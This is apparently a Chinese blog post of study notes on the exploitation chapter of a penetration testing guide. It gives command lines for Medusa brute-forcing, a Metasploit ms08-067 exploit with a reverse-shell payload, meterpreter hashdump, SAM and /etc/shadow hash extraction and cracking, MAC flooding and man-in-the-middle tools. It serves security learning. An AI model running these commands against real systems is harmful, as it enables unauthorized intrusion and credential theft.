概述
一、概念
Exploit:可利用的漏洞程序
Payload:攻击载荷,是将目标机器变成木偶,强制它按照我们的指挥行动的一种方法,可以改变软件的原有功能,使我们可以为所欲为,例如安装新软件,禁用运行的服务,添加新用户,在受害系统上打开后门等。
二、利用 Medusa获得远程服务的访问权限
Medusa被描述为通过并行登录暴力破解的方式尝试获取远程验证服务权限的工具。Medusa能够验证众多类型的远程服务,包括AFP、FTP、HTTP、IMAP、MS-SQL、MYSQL、 Netware NCP、NTP、 Pcanywhere、POP3、 REXEC、 RLOGIN、 SMTPAUTH、SNMP、SHv2、 Telnet、VNC、 Web Form等。
Kali自带的字典:/usr/share/wordlists或者 /pentest/passwords/jtr/password.Ist
命令:medusa -h 目标ip -u 用户名 -p 密码 -M 想攻击的服务
-h参数,指定目标ip
-u参数,尝试登录的用户名,如换成大写U,则后面跟的为字典文件路径
-p参数,尝试登录的密码,如换成大写P,则后面跟的为字典文件路径
-M参数,表示要攻击的服务,如ssh、telnet等
三、Metasploit漏洞利用工具
牛逼的工具!!!
1、打开工具命令:msfconsole 也可使用图形界面工具,kali自带
2、打开后会显示可用的漏洞攻击程序(exploits)、工具载荷(payload)、编码器(encoder)、和空指令(nops)的数目,使用msfupdate命令可以更新。
3、结合前面Nessus的报告和“nmap –script vuln”的输出使用本工具。
4、如果前面的扫描发现了漏洞(注意remote code execution字眼),如ms08-067,则在msf中使用命令:search ms08-067,搜索漏洞信息
名称和位置:windows/smb/ms08_067_netapi
等级(rank)信息:great,说明攻击成功率高,造成目标系统崩溃的可能性低
一到七级:manual、low、average、normal、good、great、excellent
注:search命令还可以非定位微软系统漏洞,如CVE(通用漏洞披露)、BID(bugtraq序号)
5、使用漏洞
命令:use exploit/windows/smb/ms08-067_netapi
6、加载这个攻击程序之后需要查看可用的payload
命令:show payloads
7、选择其中一个payload
命令:set payload 攻击载荷名称
eg:想在目标机器安装VNC(远程控制软件)set payload windows/vncinject/reverse_tcp
不同的payload需要不同的额外设置,show options命令可以查看所有可用的选项。
8、设置RHOST(远程主机ip)和LHOST(发起攻击的ip)
命令:set RHOST ip
命令:set LHOST ip
设置好之后再输入 show options 确保没有漏掉任何信息
9、发起攻击
命令:exploit
注:meterpreter工具非常强大且灵活,强烈掌握。其是一个metasploit中一个可用的攻击载荷,为攻击者提供了强大的命令行shell,运行在内存中,隐蔽性强,有助于躲避杀毒软件。一些命令还可对目标机器文件操作,如download、upload、edit等
四、密码破解
1、John the Ripper:密码破解之王
拿到密码之后往往看到的是加密过的hash值,需要对其进行解密,还原成明文。Join the ripper生成密码散列的速度取决于生成散列的加密算法以及硬件性能。它可以通过基准程序衡量电脑的性能,即每秒的破解次数(c/s)。
kali内置本工具,终端输入john进入命令:john hash文件路径 --format=nt
Nt表示windows系统使用的NTLM散列
2、本地密码破解
Windows系统将散列保存在SAM(安全账号管理器)文件里,一般在“C: WindowsSystem32Config”目录下。制作u盘系统插入目标机器,进入目标系统文件,找到SAM文件,使用samdump2工具提取散列。
命令:samdump2 system SAM > /tmp/hashes. txt
提取到散列文件之后就可以用john the ripper工具破解。
3、远程密码破解
远程密码破解一般是在对目标机器进行一次漏洞利用之后完成的。eterpreter shell攻击载荷,功能比vnc更加丰富、方便。如命令:hashdump,查看目标用户和密码散列,保存获取到的用户名和密码,进入JtR目录,使用John工具破解密码。
4、Linux密码破解与权限提升
Linux系统将加密的密码散列放在 /etc/shadow文件中,但是要root用户才可访问。如果没拿到权限也可以找/etc/passwd文件,可被所有用户读取。可以使用JtR合并这两个文件,命令:unshadow/etc/passwd /etc/shadow > /tmp/linux_hashes. Txt
5、密码重置
需要制作系统u盘。
五、网络嗅探
1、Wireshark
对明文网络流量进行分析,是获取系统访问权限的有效途径。混杂(promiscuous)和非混杂网络模式区别:网卡是否接收流入的所有数据包。在开始嗅探前,将网卡设置为混杂模式,方便顺利嗅探目的地址。
2、Macof
它能为网络嗅探提供许多功能,其中有个工具叫Macof,可以随机生成几千个MAC地址,对交换机进行泛洪。
Kali内置Macof命令:macof -i eth0 -s 192.168.0.1 -d 192.168.0.2
“-i”参数用来指定计算机的网卡,即源MAC地址所在的网卡。
“-s”参数用来指定来源地址。
“-d”用来指定目的地或目标攻击对象
注:使用Macof会产生大量流量,容易被发现。
六、Armitage:入侵工具
它是一个在metasploit上运行,GUI驱动的前端程序
1、命令
安装:apt-get install Armitage
启动:service postgresql start service metasploit start
开启这两个服务之后就可以使用Armitage。
2、Hail Mary(最后一击)功能,输入目标ip后,armitage会对目标发动所有匹配的漏洞攻击,直到所有可能的漏洞利用都尝试,即使你已经获得了shell也会继续运行下去。
3、输入命令:armitage启动。弹出对话框,选择默认即可。
七、值得研究的几个工具
1、Hydra:暴力密码破解
功能和Medusa类似,但同时提供几个额外的参数
2、RainbowCrack:密码破解工具
这个工具利用彩虹表( Rainbow table)对密码进行破解。所谓的彩虹表,指的是预先计算好的密码散列列表。回顾一下像 John the Ripper这类传统的密码破解工具所经历的三个步骤。首先,破解工具需要生成一个可能的密码。然后,这个工具需要根据这个密码生成散列值。最后,密码破解工具需要将这个生成的散列值与密码散列进行对比。相比之下,彩虹表的效率就高多了,因为它利用了预先计算好的密码散列。即是说,传统密码破解的前两个步骤都可以省掉,直接对散列进行对比。
3、Wireshark和Dsniff
你应该好好学习如何利用过滤器、跟踪数据流并查看特定数据包的信息。熟练掌握 Wireshark之后,建议你再好好研究一下 dsniff。它是一个相当不错的工具集,包括大量的好软件。经过自学和练习之后,你甚至能学会拦截SSL之类的加密流量。一旦熟悉了 Wireshark,还应该了解命令行工具 tcpdump, Tcpdump是GUI不可用时,从终端捕捉和查看网络流量的尚佳选择你应该好好学习如和利用过滤器、跟踪数据流并查看特定数据包的信息。
4、Ettercap
Ettercap是开展中间人攻击(man-in-the- middle attack)的绝佳武器。它的工作原理是诱骗客户端通过攻击者的计算机发送网络流量,这样一来就能从本地局域网中的计算机上获得用户名和密码。只要好好学习并掌握 Wireshark dsniff. tcpdump和 Ettercap的技巧,你就能精通网络嗅探的基础知识。
5、Meterpreter
将 Metasploit和 Meterpreter f结合起来的话,将是渗透测试新手能够利用的最具系伤力的组合工具之一。
八、小结
迄今为止我们只讨论了自动化的攻击。虽然点点按钮就能入侵远程系统,这样的过程其乐无穷,但如果不能突破这个境界去学习更加高级的技巧,那你永远都只会是个脚本小子。一开始我们都需要等着别人开发并发布新的漏洞利用工具,但想要成为真正的高手你还得学着如何读取、写入并创建你自己的漏洞攻击程序。一开始可能会难于上青天,但随着知识的累积,这个过程也会越来越容易。学习漏洞利用技术可以从学习缓冲区溢出(buffer overflow)开始。
最后
以上就是欢呼可乐为你收集整理的渗透测试实践指南:必知必会的工具与方法学习笔记(三)——漏洞利用的全部内容,希望文章能够帮你解决渗透测试实践指南:必知必会的工具与方法学习笔记(三)——漏洞利用所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复